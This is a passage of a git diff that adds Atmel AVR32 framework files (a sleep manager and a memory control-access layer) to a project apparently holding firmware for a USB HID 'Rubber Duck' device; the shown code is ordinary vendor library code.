to sleep in the deeper sleep modes. + * + * \param mode Sleep mode to unlock. + */ +static inline void sleepmgr_unlock_mode(enum sleepmgr_mode mode) +{ +#ifdef CONFIG_SLEEPMGR_ENABLE + irqflags_t flags; + + Assert(sleepmgr_locks[mode]); + + // Enter a critical section + flags = cpu_irq_save(); + + --sleepmgr_locks[mode]; + + // Leave the critical section + cpu_irq_restore(flags); +#endif /* CONFIG_SLEEPMGR_ENABLE */ +} + +/** + * \fn sleepmgr_enter_sleep + * \brief Go to sleep in the deepest allowed mode + * + * Searches through the sleep mode lock counts, starting at the shallowest sleep + * mode, until the first non-zero lock count is found. The device is then put to + * sleep in the sleep mode that corresponds to the lock. + * + * \note This function enables interrupts before going to sleep, and will leave + * them enabled upon return. This also applies if sleep is skipped due to ACTIVE + * mode being locked. + */ + +//! @} + +#endif /* SLEEPMGR_H */ diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/sleepmgr/uc3/sleepmgr.c b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/sleepmgr/uc3/sleepmgr.c new file mode 100755 index 0000000..45294b8 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/sleepmgr/uc3/sleepmgr.c @@ -0,0 +1,45 @@ +/** + * \file + * + * \brief AVR UC3 Sleep manager implementation + * + * Copyright (C) 2010 Atmel Corporation. All rights reserved. + * + * \page License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an + * Atmel AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + */ +#include +#include + +#if defined(CONFIG_SLEEPMGR_ENABLE) || defined(__DOXYGEN__) + +uint8_t sleepmgr_locks[SLEEPMGR_NR_OF_MODES]; + +#endif /* CONFIG_SLEEPMGR_ENABLE */ diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/sleepmgr/uc3/sleepmgr.h b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/sleepmgr/uc3/sleepmgr.h new file mode 100755 index 0000000..29898b2 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/sleepmgr/uc3/sleepmgr.h @@ -0,0 +1,123 @@ +/** + * \file + * + * \brief AVR UC3 Sleep manager implementation + * + * Copyright (C) 2010 Atmel Corporation. All rights reserved. + * + * \page License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an + * Atmel AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + */ +#ifndef UC3_SLEEPMGR_H +#define UC3_SLEEPMGR_H + +#ifdef __cplusplus +extern "C" { +#endif + +#include +#include +#include + +/** + * \weakgroup sleepmgr_group + * @{ + */ + +enum sleepmgr_mode { + //! Active mode. + SLEEPMGR_ACTIVE, + //! Idle mode. + SLEEPMGR_IDLE, + //! Frozen mode. + SLEEPMGR_FROZEN, + //! Standby mode. + SLEEPMGR_STDBY, + //! Stop mode. + SLEEPMGR_STOP, + //! Deep Stop mode. + SLEEPMGR_DEEPSTOP, + //! Static mode. + SLEEPMGR_STATIC, +#if UC3L + //! Shutdown mode. + SLEEPMGR_SHUTDOWN, +#endif + SLEEPMGR_NR_OF_MODES, +}; + +/** + * \internal + * \name Internal arrays + * @{ + */ +#if defined(CONFIG_SLEEPMGR_ENABLE) || defined(__DOXYGEN__) +//! Sleep mode lock counters +extern uint8_t sleepmgr_locks[]; +#endif /* CONFIG_SLEEPMGR_ENABLE */ +//! @} + +static inline void sleepmgr_enter_sleep(void) +{ +#ifdef CONFIG_SLEEPMGR_ENABLE + int sleep_mode = -1; // -1 representing the ACTIVE mode + uint8_t *lock_ptr = sleepmgr_locks; + + cpu_irq_disable(); + + // Find first non-zero lock count, starting with the shallowest modes. + while(!(*lock_ptr++)) { + sleep_mode++; + } + // Catch the case where one too many sleepmgr_unlock_mode() call has been + // performed on the deepest sleep mode. + Assert((uintptr_t)(lock_ptr - sleepmgr_locks) < SLEEPMGR_NR_OF_MODES); + + if(sleep_mode >= AVR32_PM_SMODE_IDLE) { + // Atomically enable the global interrupts and enter the sleep mode. + pm_sleep(AVR32_PM_SMODE_GMCLEAR_MASK | sleep_mode); + } + else { + // Case where the ACTIVE mode is locked (i.e. no sleep mode allowed). + // Enable the interrupts to have the same behavior in all cases. + cpu_irq_enable(); + } +#else + cpu_irq_enable(); +#endif /* CONFIG_SLEEPMGR_ENABLE */ +} + +//! @} + +#ifdef __cplusplus +} +#endif + +#endif /* UC3_SLEEPMGR_H */ diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/storage/ctrl_access/ctrl_access.c b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/storage/ctrl_access/ctrl_access.c new file mode 100755 index 0000000..9470d61 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/storage/ctrl_access/ctrl_access.c @@ -0,0 +1,569 @@ +/*This file is prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief Abstraction layer for memory interfaces. + * + * This module contains the interfaces: + * - MEM <-> USB; + * - MEM <-> RAM; + * - MEM <-> MEM. + * + * This module may be configured and expanded to support the following features: + * - write-protected globals; + * - password-protected data; + * - specific features; + * - etc. + * + * - Compiler: IAR EWAVR32 and GNU GCC for AVR32 + * - Supported devices: All AVR32 devices can be used. + * - AppNote: + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + ******************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ + +//_____ I N C L U D E S ____________________________________________________ + +#include "compiler.h" +#include "preprocessor.h" +#ifdef FREERTOS_USED +#include "FreeRTOS.h" +#include "semphr.h" +#endif +#include "ctrl_access.h" + + +//_____ D E F I N I T I O N S ______________________________________________ + +#ifdef FREERTOS_USED + +/*! \name LUN Access Protection Macros + */ +//! @{ + +/*! \brief Locks accesses to LUNs. + * + * \return \c true if the access was successfully locked, else \c false. + */ +#define Ctrl_access_lock() ctrl_access_lock() + +/*! \brief Unlocks accesses to LUNs. + */ +#define Ctrl_access_unlock() xSemaphoreGive(ctrl_access_semphr) + +//! @} + +//! Handle to the semaphore protecting accesses to LUNs. +static xSemaphoreHandle ctrl_access_semphr = NULL; + +#else + +/*! \name LUN Access Protection Macros + */ +//! @{ + +/*! \brief Locks accesses to LUNs. + * + * \return \c true if the access was successfully locked, else \c false. + */ +#define Ctrl_access_lock() true + +/*! \brief Unlocks accesses to LUNs. + */ +#define Ctrl_access_unlock() + +//! @} + +#endif // FREERTOS_USED + + +#if MAX_LUN + +/*! \brief Initializes an entry of the LUN descriptor table. + * + * \param lun Logical Unit Number. + * + * \return LUN descriptor table entry initializer. + */ +#if ACCESS_USB == ENABLED && ACCESS_MEM_TO_RAM == ENABLED +#define Lun_desc_entry(lun) \ + {\ + TPASTE3(Lun_, lun, _test_unit_ready),\ + TPASTE3(Lun_, lun, _read_capacity),\ + TPASTE3(Lun_, lun, _wr_protect),\ + TPASTE3(Lun_, lun, _removal),\ + TPASTE3(Lun_, lun, _usb_read_10),\ + TPASTE3(Lun_, lun, _usb_write_10),\ + TPASTE3(Lun_, lun, _mem_2_ram),\ + TPASTE3(Lun_, lun, _ram_2_mem),\ + TPASTE3(LUN_, lun, _NAME)\ + } +#elif ACCESS_USB == ENABLED +#define Lun_desc_entry(lun) \ + {\ + TPASTE3(Lun_, lun, _test_unit_ready),\ + TPASTE3(Lun_, lun, _read_capacity),\ + TPASTE3(Lun_, lun, _wr_protect),\ + TPASTE3(Lun_, lun, _removal),\ + TPASTE3(Lun_, lun, _usb_read_10),\ + TPASTE3(Lun_, lun, _usb_write_10),\ + TPASTE3(LUN_, lun, _NAME)\ + } +#elif ACCESS_MEM_TO_RAM == ENABLED +#define Lun_desc_entry(lun) \ + {\ + TPASTE3(Lun_, lun, _test_unit_ready),\ + TPASTE3(Lun_, lun, _read_capacity),\ + TPASTE3(Lun_, lun, _wr_protect),\ + TPASTE3(Lun_, lun, _removal),\ + TPASTE3(Lun_, lun, _mem_2_ram),\ + TPASTE3(Lun_, lun, _ram_2_mem),\ + TPASTE3(LUN_, lun, _NAME)\ + } +#else +#define Lun_desc_entry(lun) \ + {\ + TPASTE3(Lun_, lun, _test_unit_ready),\ + TPASTE3(Lun_, lun, _read_capacity),\ + TPASTE3(Lun_, lun, _wr_protect),\ + TPASTE3(Lun_, lun, _removal),\ + TPASTE3(LUN_, lun, _NAME)\ + } +#endif + +//! LUN descriptor table. +static const struct +{ + Ctrl_status (*test_unit_ready)(void); + Ctrl_status (*read_capacity)(U32 *); + Bool (*wr_protect)(void); + Bool (*removal)(void); +#if ACCESS_USB == ENABLED + Ctrl_status (*usb_read_10)(U32, U16); + Ctrl_status (*usb_write_10)(U32, U16); +#endif +#if ACCESS_MEM_TO_RAM == ENABLED + Ctrl_status (*mem_2_ram)(U32, void *); + Ctrl_status (*ram_2_mem)(U32, const void *); +#endif + const char *name; +} lun_desc[MAX_LUN] = +{ +#if LUN_0 == ENABLE + Lun_desc_entry(0), +#endif +#if LUN_1 == ENABLE + Lun_desc_entry(1), +#endif +#if LUN_2 == ENABLE + Lun_desc_entry(2), +#endif +#if LUN_3 == ENABLE + Lun_desc_entry(3), +#endif +#if LUN_4 == ENABLE + Lun_desc_entry(4), +#endif +#if LUN_5 == ENABLE + Lun_desc_entry(5), +#endif +#if LUN_6 == ENABLE + Lun_desc_entry(6), +#endif +#if LUN_7 == ENABLE + Lun_desc_entry(7) +#endif +}; + +#endif + + +#if GLOBAL_WR_PROTECT == ENABLED +Bool g_wr_protect; +#endif + + +/*! \name Control Interface + */ +//! @{ + + +#ifdef FREERTOS_USED + +Bool ctrl_access_init(void) +{ + // If the handle to the protecting semaphore is not valid, + if (!ctrl_access_semphr) + { + // try to create the semaphore. + vSemaphoreCreateBinary(ctrl_access_semphr); + + // If the semaphore could not be created, there is no backup solution. + if (!ctrl_access_semphr) return false; + } + + return true; +} + + +/*! \brief Locks accesses to LUNs. + * + * \return \c true if the access was successfully locked, else \c false. + */ +static Bool ctrl_access_lock(void) +{ + // If the semaphore could not be created, there is no backup solution. + if (!ctrl_access_semphr) return false; + + // Wait for the semaphore. + while (!xSemaphoreTake(ctrl_access_semphr, portMAX_DELAY)); + + return true; +} + +#endif // FREERTOS_USED + + +U8 get_nb_lun(void) +{ +#if MEM_USB == ENABLE + U8 nb_lun; + + if (!Ctrl_access_lock()) return MAX_LUN; + + nb_lun = MAX_LUN + host_get_lun(); + + Ctrl_access_unlock(); + + return nb_lun; +#else + return MAX_LUN; +#endif +} + + +U8 get_cur_lun(void) +{ + return LUN_ID_0; +} + + +Ctrl_status mem_test_unit_ready(U8 lun) +{ + Ctrl_status status; + + if (!Ctrl_access_lock()) return CTRL_FAIL; + + status = +#if MAX_LUN + (lun < MAX_LUN) ? lun_desc[lun].test_unit_ready() : +#endif +#if LUN_USB == ENABLE + Lun_usb_test_unit_ready(lun - LUN_ID_USB); +#else + CTRL_FAIL; +#endif + + Ctrl_access_unlock(); + + return status; +} + + +Ctrl_status mem_read_capacity(U8 lun, U32 *u32_nb_sector) +{ + Ctrl_status status; + + if (!Ctrl_access_lock()) return CTRL_FAIL; + + status = +#if MAX_LUN + (lun < MAX_LUN) ? lun_desc[lun].read_capacity(u32_nb_sector) : +#endif +#if LUN_USB == ENABLE + Lun_usb_read_capacity(lun - LUN_ID_USB, u32_nb_sector); +#else + CTRL_FAIL; +#endif + + Ctrl_access_unlock(); + + return status; +} + + +U8 mem_sector_size(U8 lun) +{ + U8 sector_size; + + if (!Ctrl_access_lock()) return 0; + + sector_size = +#if MAX_LUN + (lun < MAX_LUN) ? 1 : +#endif +#if LUN_USB == ENABLE + Lun_usb_read_sector_size(lun - LUN_ID_USB); +#else + 0; +#endif + + Ctrl_access_unlock(); + + return sector_size; +} + + +Bool mem_wr_protect(U8 lun) +{ + Bool wr_protect; + + if (!Ctrl_access_lock()) return true; + + wr_protect = +#if MAX_LUN + (lun < MAX_LUN) ? lun_desc[lun].wr_protect() : +#endif +#if LUN_USB == ENABLE + Lun_usb_wr_protect(lun - LUN_ID_USB); +#else + true; +#endif + + Ctrl_access_unlock(); + + return wr_protect; +} + + +Bool mem_removal(U8 lun) +{ + Bool removal; + + if (!Ctrl_access_lock()) return true; + + removal = +#if MAX_LUN + (lun < MAX_LUN) ? lun_desc[lun].removal() : +#endif +#if LUN_USB == ENABLE + Lun_usb_removal(); +#else + true; +#endif + + Ctrl_access_unlock(); + + return removal; +} + + +const char *mem_name(U8 lun) +{ + return +#if MAX_LUN + (lun < MAX_LUN) ? lun_desc[lun].name : +#endif +#if LUN_USB == ENABLE + LUN_USB_NAME; +#else + NULL; +#endif +} + + +//! @} + + +#if ACCESS_USB == ENABLED + +/*! \name MEM <-> USB Interface + */ +//! @{ + + +Ctrl_status memory_2_usb(U8 lun, U32 addr, U16 nb_sector) +{ + Ctrl_status status; + + if (!Ctrl_access_lock()) return CTRL_FAIL; + + memory_start_read_action(nb_sector); + status = +#if MAX_LUN + (lun < MAX_LUN) ? lun_desc[lun].usb_read_10(addr, nb_sector) : +#endif + CTRL_FAIL; + memory_stop_read_action(); + + Ctrl_access_unlock(); + + return status; +} + + +Ctrl_status usb_2_memory(U8 lun, U32 addr, U16 nb_sector) +{ + Ctrl_status status; + + if (!Ctrl_access_lock()) return CTRL_FAIL; + + memory_start_write_action(nb_sector); + status = +#if MAX_LUN + (lun < MAX_LUN) ? lun_desc[lun].usb_write_10(addr, nb_sector) : +#endif + CTRL_FAIL; + memory_stop_write_action(); + + Ctrl_access_unlock(); + + return status; +} + + +//! @} + +#endif // ACCESS_USB == ENABLED + + +#if ACCESS_MEM_TO_RAM == ENABLED + +/*! \name MEM <-> RAM Interface + */ +//! @{ + + +Ctrl_status memory_2_ram(U8 lun, U32 addr, void *ram) +{ + Ctrl_status status; + + if (!Ctrl_access_lock()) return CTRL_FAIL; + + memory_start_read_action(1); + status = +#if MAX_LUN + (lun < MAX_LUN) ? lun_desc[lun].mem_2_ram(addr, ram) : +#endif +#if LUN_USB == ENABLE + Lun_usb_mem_2_ram(addr, ram); +#else + CTRL_FAIL; +#endif + memory_stop_read_action(); + + Ctrl_access_unlock(); + + return status; +} + + +Ctrl_status ram_2_memory(U8 lun, U32 addr, const void *ram) +{ + Ctrl_status status; + + if (!Ctrl_access_lock()) return CTRL_FAIL; + + memory_start_write_action(1); + status = +#if MAX_LUN + (lun < MAX_LUN) ? lun_desc[lun].ram_2_mem(addr, ram) : +#endif +#if LUN_USB == ENABLE + Lun_usb_ram_2_mem(addr, ram); +#else + CTRL_FAIL; +#endif + memory_stop_write_action(); + + Ctrl_access_unlock(); + + return status; +} + + +//! @} + +#endif // ACCESS_MEM_TO_RAM == ENABLED + + +#if ACCESS_STREAM == ENABLED + +/*! \name Streaming MEM <-> MEM Interface + */ +//! @{ + + + #if ACCESS_MEM_TO_MEM == ENABLED + +#include "fat.h" + +Ctrl_status stream_mem_to_mem(U8 src_lun, U32 src_addr, U8 dest_lun, U32 dest_addr, U16 nb_sector) +{ +#if (defined __GNUC__) && (defined __AVR32__) + __attribute__((__aligned__(4))) +#elif (defined __ICCAVR32__) + #pragma data_alignment = 4 +#endif + static U8 sector_buf[FS_512B]; + Ctrl_status status = CTRL_GOOD; + + while (nb_sector--) + { + if ((status = memory_2_ram(src_lun, src_addr++, sector_buf)) != CTRL_GOOD) break; + if ((status = ram_2_memory(dest_lun, dest_addr++, sector_buf)) != CTRL_GOOD) break; + } + + return status; +} + + #endif // ACCESS_MEM_TO_MEM == ENABLED + + +Ctrl_status stream_state(U8 id) +{ + return CTRL_GOOD; +} + + +U16 stream_stop(U8 id) +{ + return 0; +} + + +//! @} + +#endif // ACCESS_STREAM == ENABLED diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/storage/ctrl_access/ctrl_access.h b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/storage/ctrl_access/ctrl_access.h new file mode 100755 index 0000000..1b21e57 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/storage/ctrl_access/ctrl_access.h @@ -0,0 +1,367 @@ +/*This file is prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief Abstraction layer for memory interfaces. + * + * This module contains the interfaces: + * - MEM <-> USB; + * - MEM <-> RAM; + * - MEM <-> MEM. + * + * This module may be configured and expanded to support the following features: + * - write-protected globals; + * - password-protected data; + * - specific features; + * - etc. + * + * - Compiler: IAR EWAVR32 and GNU GCC for AVR32 + * - Supported devices: All AVR32 devices can be used. + * - AppNote: + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + ******************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ + +#ifndef _CTRL_ACCESS_H_ +#define _CTRL_ACCESS_H_ + +#include "compiler.h" +#include "conf_access.h" + + +//! Status returned by CTRL_ACCESS interfaces. +typedef enum +{ + CTRL_GOOD = PASS, //!< Success, memory ready. + CTRL_FAIL = FAIL, //!< An error occurred. + CTRL_NO_PRESENT = FAIL + 1, //!< Memory unplugged. + CTRL_BUSY = FAIL + 2 //!< Memory not initialized or changed. +} Ctrl_status; + + +// FYI: Each Logical Unit Number (LUN) corresponds to a memory. + +// Check LUN defines. +#ifndef LUN_0 + #error LUN_0 must be defined as ENABLE or DISABLE in conf_access.h +#endif +#ifndef LUN_1 + #error LUN_1 must be defined as ENABLE or DISABLE in conf_access.h +#endif +#ifndef LUN_2 + #error LUN_2 must be defined as ENABLE or DISABLE in conf_access.h +#endif +#ifndef LUN_3 + #error LUN_3 must be defined as ENABLE or DISABLE in conf_access.h +#endif +#ifndef LUN_4 + #error LUN_4 must be defined as ENABLE or DISABLE in conf_access.h +#endif +#ifndef LUN_5 + #error LUN_5 must be defined as ENABLE or DISABLE in conf_access.h +#endif +#ifndef LUN_6 + #error LUN_6 must be defined as ENABLE or DISABLE in conf_access.h +#endif +#ifndef LUN_7 + #error LUN_7 must be defined as ENABLE or DISABLE in conf_access.h +#endif +#ifndef LUN_USB + #error LUN_USB must be defined as ENABLE or DISABLE in conf_access.h +#endif + +/*! \name LUN IDs + */ +//! @{ +#define LUN_ID_0 (0) //!< First static LUN. +#define LUN_ID_1 (LUN_ID_0 + LUN_0) +#define LUN_ID_2 (LUN_ID_1 + LUN_1) +#define LUN_ID_3 (LUN_ID_2 + LUN_2) +#define LUN_ID_4 (LUN_ID_3 + LUN_3) +#define LUN_ID_5 (LUN_ID_4 + LUN_4) +#define LUN_ID_6 (LUN_ID_5 + LUN_5) +#define LUN_ID_7 (LUN_ID_6 + LUN_6) +#define MAX_LUN (LUN_ID_7 + LUN_7) //!< Number of static LUNs. +#define LUN_ID_USB (MAX_LUN) //!< First dynamic LUN (USB host mass storage). +//! @} + + +// Include LUN header files. +#if LUN_0 == ENABLE + #include LUN_0_INCLUDE +#endif +#if LUN_1 == ENABLE + #include LUN_1_INCLUDE +#endif +#if LUN_2 == ENABLE + #include LUN_2_INCLUDE +#endif +#if LUN_3 == ENABLE + #include LUN_3_INCLUDE +#endif +#if LUN_4 == ENABLE + #include LUN_4_INCLUDE +#endif +#if LUN_5 == ENABLE + #include LUN_5_INCLUDE +#endif +#if LUN_6 == ENABLE + #include LUN_6_INCLUDE +#endif +#if LUN_7 == ENABLE + #include LUN_7_INCLUDE +#endif +#if LUN_USB == ENABLE + #include LUN_USB_INCLUDE +#endif + + +// Check the configuration of write protection in conf_access.h. +#ifndef GLOBAL_WR_PROTECT + #error GLOBAL_WR_PROTECT must be defined as ENABLED or DISABLED in conf_access.h +#endif + + +#if GLOBAL_WR_PROTECT == ENABLED + +//! Write protect. +extern Bool g_wr_protect; + +#endif + + +/*! \name Control Interface + */ +//! @{ + +#ifdef FREERTOS_USED + +/*! \brief Initializes the LUN access locker. + * + * \return \c true if the locker was successfully initialized, else \c false. + */ +extern Bool ctrl_access_init(void); + +#endif // FREERTOS_USED + +/*! \brief Returns the number of LUNs. + * + * \return Number of LUNs in the system. + */ +extern U8 get_nb_lun(void); + +/*! \brief Returns the current LUN. + * + * \return Current LUN. + * + * \todo Implement. + */ +extern U8 get_cur_lun(void); + +/*! \brief Tests the memory state and initializes the memory if required. + * + * The TEST UNIT READY SCSI primary command allows an application client to poll + * a LUN until it is ready without having to allocate memory for returned data. + * + * This command may be used to check the media status of LUNs with removable + * media. + * + * \param lun Logical Unit Number. + * + * \return Status. + */ +extern Ctrl_status mem_test_unit_ready(U8 lun); + +/*! \brief Returns the address of the last valid sector (512 bytes) in the + * memory. + * + * \param lun Logical Unit Number. + * \param u32_nb_sector Pointer to the address of the last valid sector. + * + * \return Status. + */ +extern Ctrl_status mem_read_capacity(U8 lun, U32 *u32_nb_sector); + +/*! \brief Returns the size of the physical sector. + * + * \param lun Logical Unit Number. + * + * \return Sector size (unit: 512 bytes). + */ +extern U8 mem_sector_size(U8 lun); + +/*! \brief Returns the write-protection state of the memory. + * + * \param lun Logical Unit Number. + * + * \return \c true if the memory is write-protected, else \c false. + * + * \note Only used by removable memories with hardware-specific write + * protection. + */ +extern Bool mem_wr_protect(U8 lun); + +/*! \brief Tells whether the memory is removable. + * + * \param lun Logical Unit Number. + * + * \return \c true if the memory is removable, else \c false. + */ +extern Bool mem_removal(U8 lun); + +/*! \brief Returns a pointer to the LUN name. + * + * \param lun Logical Unit Number. + * + * \return Pointer to the LUN name string. + */ +extern const char *mem_name(U8 lun); + +//! @} + + +#if ACCESS_USB == ENABLED + +/*! \name MEM <-> USB Interface + */ +//! @{ + +/*! \brief Transfers data from the memory to USB. + * + * \param lun Logical Unit Number. + * \param addr Address of first memory sector to read. + * \param nb_sector Number of sectors to transfer. + * + * \return Status. + */ +extern Ctrl_status memory_2_usb(U8 lun, U32 addr, U16 nb_sector); + +/*! \brief Transfers data from USB to the memory. + * + * \param lun Logical Unit Number. + * \param addr Address of first memory sector to write. + * \param nb_sector Number of sectors to transfer. + * + * \return Status. + */ +extern Ctrl_status usb_2_memory(U8 lun, U32 addr, U16 nb_sector); + +//! @} + +#endif // ACCESS_USB == ENABLED + + +#if ACCESS_MEM_TO_RAM == ENABLED + +/*! \name MEM <-> RAM Interface + */ +//! @{ + +/*! \brief Copies 1 data sector from the memory to RAM. + * + * \param lun Logical Unit Number. + * \param addr Address of first memory sector to read. + * \param ram Pointer to RAM buffer to write. + * + * \return Status. + */ +extern Ctrl_status memory_2_ram(U8 lun, U32 addr, void *ram); + +/*! \brief Copies 1 data sector from RAM to the memory. + * + * \param lun Logical Unit Number. + * \param addr Address of first memory sector to write. + * \param ram Pointer to RAM buffer to read. + * + * \return Status. + */ +extern Ctrl_status ram_2_memory(U8 lun, U32 addr, const void *ram); + +//! @} + +#endif // ACCESS_MEM_TO_RAM == ENABLED + + +#if ACCESS_STREAM == ENABLED + +/*! \name Streaming MEM <-> MEM Interface + */ +//! @{ + +//! Erroneous streaming data transfer ID. +#define ID_STREAM_ERR 0xFF + + #if ACCESS_MEM_TO_MEM == ENABLED + +/*! \brief Copies data from one memory to another. + * + * \param src_lun Source Logical Unit Number. + * \param src_addr Source address of first memory sector to read. + * \param dest_lun Destination Logical Unit Number. + * \param dest_addr Destination address of first memory sector to write. + * \param nb_sector Number of sectors to copy. + * + * \return Status. + */ +extern Ctrl_status stream_mem_to_mem(U8 src_lun, U32 src_addr, U8 dest_lun, U32 dest_addr, U16 nb_sector); + + #endif // ACCESS_MEM_TO_MEM == ENABLED + +/*! \brief Returns the state of a streaming data transfer. + * + * \param id Transfer ID. + * + * \return Status. + * + * \todo Implement. + */ +extern Ctrl_status stream_state(U8 id); + +/*! \brief Stops a streaming data transfer. + * + * \param id Transfer ID. + * + * \return Number of remaining sectors. + * + * \todo Implement. + */ +extern U16 stream_stop(U8 id); + +//! @} + +#endif // 